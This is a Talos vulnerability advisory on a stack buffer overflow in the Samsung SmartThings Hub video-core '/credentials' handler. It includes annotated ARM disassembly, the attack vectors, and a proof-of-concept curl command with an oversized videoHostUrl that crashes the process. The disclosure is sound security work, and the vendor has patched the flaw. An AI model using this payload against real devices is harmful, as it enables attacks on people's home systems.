Talos Vulnerability Report


Samsung SmartThings Hub video-core credentials videoHostUrl Code Execution Vulnerability

July 26, 2018
CVE Number



An exploitable buffer overflow vulnerability exists in the credentials handler of video-core’s HTTP server of Samsung SmartThings Hub. The video-core process incorrectly extracts the videoHostUrl field from a user-controlled JSON payload, leading to a buffer overflow on the stack. An attacker can send an HTTP request to trigger this vulnerability.

Tested Versions

Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17

Product URLs


CVSSv3 Score

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H


CWE-120: Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)


Samsung produces a series of devices aimed at controlling and monitoring a home, such as wall switches, LED bulbs, thermostats and cameras. One of those is the Samsung SmartThings Hub, a central controller which allows an end user to use their smartphone to connect to their house remotely and operate other devices through it. The hub board utilizes several systems on chips. The firmware in question is executed by an i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A architecture.

The firmware is Linux-based, and runs a series of daemons that interface with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth protocols. Additionally, the hubCore process is responsible for communicating with the remote SmartThings servers via a persistent TLS connection. These servers act as a bridge that allows for secure communication between the smartphone application and the hub. End users can simply install the SmartThings mobile application on their smartphone to control the hub remotely.

One of the features of the hub is that it connects to smart cameras, configures them and looks at their livestreams. For testing, we set up the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream can be displayed by the smartphone application by connecting either to the remote SmartThings servers, or directly to the camera, if they’re both in the same subnetwork.

Inside the hub, the livestream is handled by the video-core process, which uses ffmpeg to connect via RTSP to the smart camera in its same local network, and at the same time, provides a streamable link for the smartphone application.

The remote SmartThings servers have the possibility to communicate with the video-core process by sending messages in the persistent TLS connection, established by the hubCore process. These messages can encapsulate an HTTP request, which hubCore would relay directly to the HTTP server exposed by video-core. The HTTP server listens on port 3000, bound to the localhost address, so a local connection is needed to perform this request.

We identified a vulnerable request that can be exploited to achieve code execution on the video-core process, which is running as root. By sending a POST request for the “/credentials” path it’s possible modify the credentials used by the hub to connect to remote servers.

Such request is handled by function sub_3E4EC:

.text:0003E4EC     sub_3E4EC
.text:0003E4EC     dest            = -0xCB4
.text:0003E4EC     value           = -0xCB0
.text:0003E4EC     var_CAC         = -0xCAC
.text:0003E4EC     var_CA0         = -0xCA0
.text:0003E4EC     var_C90         = -0xC90
.text:0003E4EC     var_C50         = -0xC50
.text:0003E4EC     var_A70         = -0xA70
.text:0003E4EC     var_14          = -0x14
.text:0003E4EC     arg_0           =  4
.text:0003E4EC     arg_4           =  8
.text:0003E4EC 000        MOV             R12, #:lower16:stru_C1D38
.text:0003E4F0 000        STMFD           SP!, {R4-R7,R11,LR}
.text:0003E4F4 018        MOVT            R12, #:upper16:stru_C1D38
.text:0003E4F8 018        ADD             R11, SP, #0x14
.text:0003E564 CC0        BL              http_required_json_parameters  ; [1]
.text:0003E568 CC0        CMP             R0, #0
.text:0003E56C CC0        BNE             loc_3E594
.text:0003E594     loc_3E594
.text:0003E594 000        MOV             R0, R4
.text:0003E598 000        BL              json_tokener_parse             ; [2]
.text:0003E59C 000        SUBS            R6, R0, #0
.text:0003E5A0 000        BEQ             loc_3E93C
.text:0003E5A4 000        MOV             R1, #:lower16:aS3              ; "s3"
.text:0003E5A8 000        SUB             R2, R11, #-value
.text:0003E5AC 000        MOVT            R1, #:upper16:aS3              ; "s3"
.text:0003E5BC 000        SUB             R4, R11, #-var_A70
.text:0003E5C0 000        SUB             R5, R11, #-var_A70
.text:0003E5C4 000        SUB             R4, R4, #4
.text:0003E860 000        MOV             R1, #:lower16:aVideohosturl ; "videoHostUrl"
.text:0003E864 000        MOV             R0, R6
.text:0003E868 000        SUB             R2, R11, #-value
.text:0003E86C 000        MOVT            R1, #:upper16:aVideohosturl ; "videoHostUrl"
.text:0003E870 000        BL              json_object_object_get_ex      ; [3]
.text:0003E890 000        LDR             R0, [R11,#value]
.text:0003E894 000        BL              json_object_to_json_string     ; [4]
.text:0003E898 000        MOV             R7, R0
.text:0003E89C 000        BL              strlen
.text:0003E8A0 000        MOV             R2, R4
.text:0003E8A4 000        MOV             R1, R0
.text:0003E8A8 000        MOV             R3, #0xFF
.text:0003E8AC 000        MOV             R0, R7
.text:0003E8B0 000        BL              sub_3E2A4                      ; [5]

Note that the binary embeds the “json-c” library from https://github.com/json-c/json-c, that is used to manage JSON objects.

The function initially calls http_required_json_parameters at [1] to verify that all the required parameters are specified in the JSON request, the parameters are: s3.secretKey, s3.accessKey, s3.sessionToken, s3.bucket, s3.directory, s3.region, videoHostUrl.

The library function json_tokener_parse [2] is then used to parse the POST data, and a JSON object is returned. At [3] json_object_object_get_ex is used to retrieve the “videoHostUrl” parameter from the main JSON object. This function, in turn, returns a new JSON object from which a string is extracted, using json_object_to_json_string [4]. Finally, sub_3E2A4 [5] is called to parse the value extracted from the “videoHostUrl” key. The parameters are, in order: the URI string, the URI string length, the destination buffer where the parsed URI is to be stored, the value 255 (that is the destination buffer size). Note that the destination buffer is stored on the stack.

.text:0003E2A4     sub_3E2A4
.text:0003E2A4 000        STMFD           SP!, {R4-R8,R11,LR}
.text:0003E2A8 01C        ADD             R12, R1, #0x14
.text:0003E2AC 01C        ADD             R11, SP, #0x18
.text:0003E2B0 01C        SUB             SP, SP, #0x8A0
.text:0003E2B4 8BC        BIC             R12, R12, #7
.text:0003E2B8 8BC        SUB             SP, SP, #4
.text:0003E2BC 8C0        SUB             SP, SP, R12
.text:0003E2C0 8C0        ADD             R4, SP, #0x8BC+s
.text:0003E2C4 8C0        MOV             R8, R3
.text:0003E2C8 8C0        MOV             R6, R0
.text:0003E2CC 8C0        MOV             R7, R2
.text:0003E2D0 8C0        MOV             R5, R1
.text:0003E2D4 8C0        ADD             R2, R1, #0xD
.text:0003E2D8 8C0        MOV             R0, R4
.text:0003E2DC 8C0        MOV             R1, #0
.text:0003E2E0 8C0        BL              memset
.text:0003E2E4 8C0        MOV             R2, R8
.text:0003E2E8 8C0        MOV             R1, #0
.text:0003E2EC 8C0        MOV             R0, R7
.text:0003E2F0 8C0        BL              memset
.text:0003E2F4 8C0        MOV             R1, #:lower16:aHttp_0  ; "http"
.text:0003E2F8 8C0        MOV             R0, R6
.text:0003E2FC 8C0        MOV             R2, #4
.text:0003E300 8C0        MOVT            R1, #:upper16:aHttp_0  ; "http"
.text:0003E304 8C0        BL              strncmp                ; [6]
.text:0003E308 8C0        CMP             R0, #0
.text:0003E30C 8C0        BNE             loc_3E454
.text:0003E310     loc_3E310
.text:0003E310 8C0        MOV             R1, R6
.text:0003E314 8C0        MOV             R2, R5
.text:0003E318 8C0        MOV             R0, R4
.text:0003E31C 8C0        SUB             R5, R11, #-var_37C
.text:0003E320 8C0        BL              strncat                ; [7]
.text:0003E324 8C0        MOV             R0, R4
.text:0003E328 8C0        BL              strlen                 ; [8]
.text:0003E32C 8C0        MOV             R8, R0
.text:0003E330 8C0        MOV             R1, R4
.text:0003E334 8C0        MOV             R0, R5                 ; [9] URI struct
.text:0003E338 8C0        MOV             R2, R8
.text:0003E33C 8C0        BL              uriParser              ; [10]
.text:0003E340 8C0        SUBS            R6, R0, #0
.text:0003E344 8C0        BNE             loc_3E36C
.text:0003E454     loc_3E454
.text:0003E454 000        MOV             R3, #aHttps            ; "https://"
.text:0003E45C 000        LDMIA           R3!, {R0,R1}           ; "https://"
.text:0003E460 000        LDRB            R3, [R3]               ; ""
.text:0003E464 000        STR             R0, [SP,#-4+arg_358]
.text:0003E468 000        STR             R1, [R4,#4]
.text:0003E46C 000        STRB            R3, [R4,#8]
.text:0003E470 000        B               loc_3E310
.text:0003E36C     loc_3E36C
.text:0003E36C 000        LDRB            R3, [R11,#var_1C8]     ; [11]
.text:0003E370 000        MOV             R2, #0
.text:0003E374 000        STR             R2, [R11,#var_560]
.text:0003E378 000        CMP             R3, R2
.text:0003E37C 000        BNE             loc_3E438
.text:0003E438     loc_3E438
.text:0003E438 000        MOV             R0, R7
.text:0003E43C 000        MOV             R1, R4
.text:0003E440 000        MOV             R2, R8
.text:0003E444 000        BL              memcpy                 ; [12]
.text:0003E448 000        MOV             R0, R6
.text:0003E44C 000        SUB             SP, R11, #0x18
.text:0003E450 01C        LDMFD           SP!, {R4-R8,R11,PC}

If the supplied videoHostUrl doesn’t start with “http” [6], the string “https://” is inserted in front [7]. The function uriParser [10] is then called for tokenizing the URI into the structure passed as first parameter [9]. At [11] the “port” field of the structure is retrieved, and if not null, the resulting URI from [7] is copied into r7 [12], which is the destination buffer passed as third argument to the function. Note that the length argument of the memcpy [12] is set from the strlen output at [8]. At high level this would be:

memcpy(stack_buffer, uri, strlen(uri))

Since the videoHostUrl parameter is controlled by the user, there is no restriction on the length of the copy operation, which allows for overflowing the stack buffer and execute arbitrary code.

We identified two different vectors that allow for exploiting this vulnerability:

  • Anyone able to impersonate the remote SmartThings servers can send arbitrary HTTP requests to hubCore that would be relayed without modification to the vulnerable video-core process.
  • SmartThings SmartApps allow for creating custom applications that can be either published directly into the device itself or on the public marketplace. A SmartApp is executed inside the hubCore process and is allowed to make any localhost connection. It is thus possible for a SmartApp to send arbitrary HTTP requests directly to the vulnerable video-core process.

A third vector might exist, which we didn’t test. This would consist of sending a malicious request from the SmartThings mobile application to the remote SmartThings servers. In turn, depending on the remote APIs available, the servers could relay the malicious payload back to the device via the persistent TLS connection. To use this vector, an attacker would need to own a valid OAuth bearer token, or the relative username and password pair to obtain it.

Exploit Proof of Concept

The following proof of concept shows how to crash the video-core process:

# using curl from inside the hub, but the same request could be sent using a SmartApp
$ sUrl=$(perl -e 'print "A"x4000')
$ curl -vv -X POST '' -d '{"s3":{"accessKey":"","secretKey":"","sessionToken":"","region":"","bucket":"","directory":""},"videoHostUrl":"'${sUrl}'"}'


2018-04-09 - Vendor Disclosure
2018-05-23 - Discussion with vendor/review of timeline for disclosure
2018-07-17 - Vendor patched
2018-07-26 - Public Release


Discovered by Claudio Bozzato of Cisco Talos.